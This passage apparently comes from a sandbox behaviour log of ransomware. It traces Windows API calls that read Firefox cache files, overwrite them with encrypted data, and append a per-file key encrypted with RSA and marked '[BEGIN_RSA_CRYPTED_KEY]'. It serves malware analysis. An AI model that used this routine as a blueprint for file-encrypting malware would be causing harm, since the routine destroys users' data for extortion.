lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x19a0, lpOverlapped=0x0) returned 1 [0252.202] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.202] WriteFile (in: hFile=0x1b84, lpBuffer=0x344fa00*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344fa00*, lpNumberOfBytesWritten=0x2e3f9b4*=0x19a0, lpOverlapped=0x0) returned 1 [0252.202] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x19a0 [0252.203] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.203] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.203] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.203] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.203] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.203] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="DJjolWogPE4yubwuyt/EcNIYwGyIzy8TGjbbr34U6eM8pCAo6LVW90ypi5QuCX0s\nHzzLy+Yv9x3Xw6aYqAzOewTGb4UfFCbVup0bYUr5xYTA7tSlWCXqxSbjSWB072hV\nXMp00XOR+b5nOvj2UL/7Uqh4ujYtMjocYxeBoatovG/bmDI3MP8cYvyVZrOWoEyI\nZfr2iEUOXC0evotM6CfU41AB++mSQq3ZCK0E9gMNMDJv4Egkems0RsPQU1QFjEbi\nBoo36P4UmsHGw71wXTH42zumLrIXz3KyVmYc0dvUlfzjNfFJgGON5J5wp8acon71\nwHMvWZ2gvbFEBKJEnpPwPQ==\n", pcchString=0x2e3f9a8) returned 1 [0252.203] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.204] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.204] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.204] CloseHandle (hObject=0x1b84) returned 1 [0252.206] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.206] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F25ECCA86E8A9A0F32A1356BCC3EDD99EFD2FFC6", dwFileAttributes=0x80) returned 1 [0252.206] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xef1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xef1, lpOverlapped=0x0) returned 1 [0252.231] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3825, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.231] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xef1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef1, lpOverlapped=0x0) returned 1 [0252.232] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef1 [0252.232] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.232] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.233] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.233] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.233] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.233] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NWrZJ9rf/DJEOhL5wVB9GqniBB6rpnN3BCtZs8Z66BicjhrzLwGrSyMthQpsVH/h\nnBzLK65cA+SEzdwcPfb7eTzO8WJIJQMmO92SeSfQOwYowXgjxSup03oMPC9jTx8Z\nngYOYjNboVXN7Ex7/P1xEoo6wmZzvJupheXEgsmBdrkQjVocO7ipycNkz6xOW6pI\n1hXMBonhXlwGfBzHo6Sxxf6hfiZtNhJJuAhOcuUDXnzVHOKhUmL+hW/UkWWv1IJs\n+bB8N80w5GTq/BnwLqV/xvNmH6SAqGtgysK83VktYToOt6vjcUxa7+AWbryAGkNy\n1S3zVhRRUktLHUjDoBYstQ==\n", pcchString=0x2e3f9a8) returned 1 [0252.233] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.233] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.233] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.234] CloseHandle (hObject=0x1b84) returned 1 [0252.235] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.235] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F1BBF2C5E387A93BE1435B536CAD811A9B2972CB", dwFileAttributes=0x80) returned 1 [0252.235] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x113e, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x113e, lpOverlapped=0x0) returned 1 [0252.256] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-4414, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.256] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f1a0*, nNumberOfBytesToWrite=0x113e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f1a0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x113e, lpOverlapped=0x0) returned 1 [0252.257] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x113e [0252.257] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.257] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.257] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.257] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.257] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.257] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OUBlTjq+EseDD+BWc7O/BYZ0Xt3BqUCsvIlY49jlgNIBpxz3beb4l9qs7kIjy3B8\ntaRwMrxwf17Rh3AWnVYI0S1la7XWLlUVsGWXRrwzNngYOUlU9inDhZBOYPp86hTb\nD8o/oCpow3QKGnP/IY+CXc/xp4GbVYwlLcSGBTt2IJXBlhy58wi5x49+lWNSdHwx\n3MFDTPK1wxF+V2bSCUpR8jLH9IMRUWGivYe05cAsAy+YmMEdYdQ5FOX8Znc15Mhb\nYzYunNbV165EN4fU2py38MJm0UKp/LVC/LsRocSuX1L/vB4Op0dfMDhSsTqnySmF\nZU6O6qBFZa612EpLFryvfQ==\n", pcchString=0x2e3f9a8) returned 1 [0252.258] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.258] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.258] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.258] CloseHandle (hObject=0x1b84) returned 1 [0252.259] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.259] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F1B08188F72CD4FD96B13844124B837FDB3CDD50", dwFileAttributes=0x80) returned 1 [0252.260] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xef7, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e048*, lpNumberOfBytesRead=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0252.318] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3831, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.318] WriteFile (in: hFile=0x1b84, lpBuffer=0x344e058*, nNumberOfBytesToWrite=0xef7, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesWritten=0x2e3f9b4*=0xef7, lpOverlapped=0x0) returned 1 [0252.319] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xef7 [0252.319] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.319] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.319] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.319] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.320] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.320] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5C/uPP4qsXF5bEgjV7L/lGOt2Nt6lblpn7itY+STk4WXWbJJpViFlIBbCorxqPjk\nIS0OBYiopl4ufA99amRP4xfr8rCJ+pv9XaK7qvEAolBff4/imNL4qKF65HZSAwr3\nktF/rDYB5zLigO+zteBJwKMYRQDZ3EFUCn2IlIbS9hlZZLVNdUBw3im7NerAvGNQ\nEZXOaWOHsxhmELfiiG5mQhGkW3qNzEMgx1YaxZAcp2pmk+6/GhziLDzLcWkkZc92\nScinesvdF+oFAMQ0bKTadFXyS3VnHvO7ssxBplWGjiEfar9ZCc0IJGWEwffYYmVP\nr6e/Xap3jk16TsnTBO4fdA==\n", pcchString=0x2e3f9a8) returned 1 [0252.320] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.320] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.320] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.320] CloseHandle (hObject=0x1b84) returned 1 [0252.322] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.322] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F18D85F52EBBBA2AB081EF739ED0D6E8A76D497C", dwFileAttributes=0x80) returned 1 [0252.322] ReadFile (in: hFile=0x1b84, lpBuffer=0x5a6080, nNumberOfBytesToRead=0x65, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a6080*, lpNumberOfBytesRead=0x2e3f9b4*=0x65, lpOverlapped=0x0) returned 1 [0252.323] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-101, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.323] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a10c8*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a10c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x65, lpOverlapped=0x0) returned 1 [0252.324] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x65 [0252.324] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.324] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.324] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.324] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.324] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.325] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="xqnFuKnYTwLJwtlA95f90li/5lhuT9gpF4dPkpnspHZpTxY3CkiICzoM0SRxXuY3\ndugSbrAJPn6e3R4lnTbJQ6nE9W8eqiqsxb3ZgurzTYXdkIpGHnJGoBl4lIg9OHTO\nsvBqHzCbUAZzMDFB/RytQH0l7Y5TZfQd5oiofhaI+ql+7+nhJEnd199BJpVKJ/jo\nQyIjsxJOdXyEOt6U57/WmfS5iT4bJ9LyNyIyhOHkiti33B+xuwDrEvzZ65z1k6Uv\nYhJ+mSvOAJfFL3F6AR5twSeTXzfBdz85v0sUoyLSRA4S1/B3QL3VSlN15X+jGiI6\nbRqgnueD5vPBmFJP8khhGw==\n", pcchString=0x2e3f9a8) returned 1 [0252.325] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.325] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.325] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.325] CloseHandle (hObject=0x1b84) returned 1 [0252.327] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.327] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F17F04878A68505AE5481A71D8B733C5FFC6F285", dwFileAttributes=0x80) returned 1 [0252.328] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x18d4, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x18d4, lpOverlapped=0x0) returned 1 [0252.369] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-6356, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.369] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f938*, nNumberOfBytesToWrite=0x18d4, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f938*, lpNumberOfBytesWritten=0x2e3f9b4*=0x18d4, lpOverlapped=0x0) returned 1 [0252.369] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x18d4 [0252.369] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.369] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.370] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.370] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.370] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.370] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="NMKaWvT1RfW2TaaDQNZ77O3/DOaLLXTMVlXCnZYaysX4Znt1Mb4KRU18hfeFuZQV\nyP300hEJsxiUyHUOttTC83tMbFz23lOSlPVxIwEQymDBZnmji96Pc4zKj8cBaVTy\nrQHroACsIdyKgtwSuuVt1IFyV3wqYqrihMIsJv2+jltkJhj6coQAp3I/WHqeTyJ5\n5IQUw7jYQTi/8oWmFbYWR+AYmou8Kcf+YVpVzkKuJT3wLigz1tZOQw1PHPkaKo9Q\nYvuXmSsE8Ra/uatWg1LAKo6lvaveoMCzezUDK2GpWOsMbYR2fUfECmsTrBZmkkKN\nkHG2e2R21DOPjn9y4KoDMQ==\n", pcchString=0x2e3f9a8) returned 1 [0252.370] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.370] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.371] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.371] CloseHandle (hObject=0x1b84) returned 1 [0252.373] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.373] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F172F3A946BA122017AA3B6253B931733CD98C57", dwFileAttributes=0x80) returned 1 [0252.374] ReadFile (in: hFile=0x1b84, lpBuffer=0x344e058, nNumberOfBytesToRead=0x14b1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344e058*, lpNumberOfBytesRead=0x2e3f9b4*=0x14b1, lpOverlapped=0x0) returned 1 [0252.375] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5297, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0252.375] WriteFile (in: hFile=0x1b84, lpBuffer=0x344f518*, nNumberOfBytesToWrite=0x14b1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x344f518*, lpNumberOfBytesWritten=0x2e3f9b4*=0x14b1, lpOverlapped=0x0) returned 1 [0252.375] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x14b1 [0252.375] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.375] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.376] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0252.376] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0252.376] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0252.376] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="l6IHmTlbDJxJpvZj7HT1g6x0DcTcSnC5XfIAi0gwcsDxPPudGqWzNdg4qVhEUdgZ\n6ogks6BbL0k/pKj01+bsfdPI6hANeKBAu9WKM5RqA/yCT4zWz8exI4ivINEqMSOa\nTSB0/FEz/1K6GsA2xnBao1y7AW93jiCKvfigvpBeALg2PL4Ik2QIYblhROws09Kz\naG6L7J2UlENUZlNkgBQIlOucnzoEg7M7kYpt0hSkz0n4LGkD9T/xgp+G4EWjh+2t\n5YWhh8w/Oxc1vfycP2AAOcIJ6ObMpnHYUCWTD12muTOUHvvKViwgf4gfhZd1NupL\nIhcRNqpAiSwlQWBKOQCrIQ==\n", pcchString=0x2e3f9a8) returned 1 [0252.376] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0252.376] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0252.376] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0252.376] CloseHandle (hObject=0x1b84) returned 1 [0252.378] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0252.378] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\F10533AF991E4645014EB7857F4CA4F7BF0D2304", dwFileAttributes=0x80) returned 1 [0252.379] ReadFile (in: hFile=0x1b84, lpBuffer=0x2f3e048, nNumberOfBytesToRead=0xc19, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: 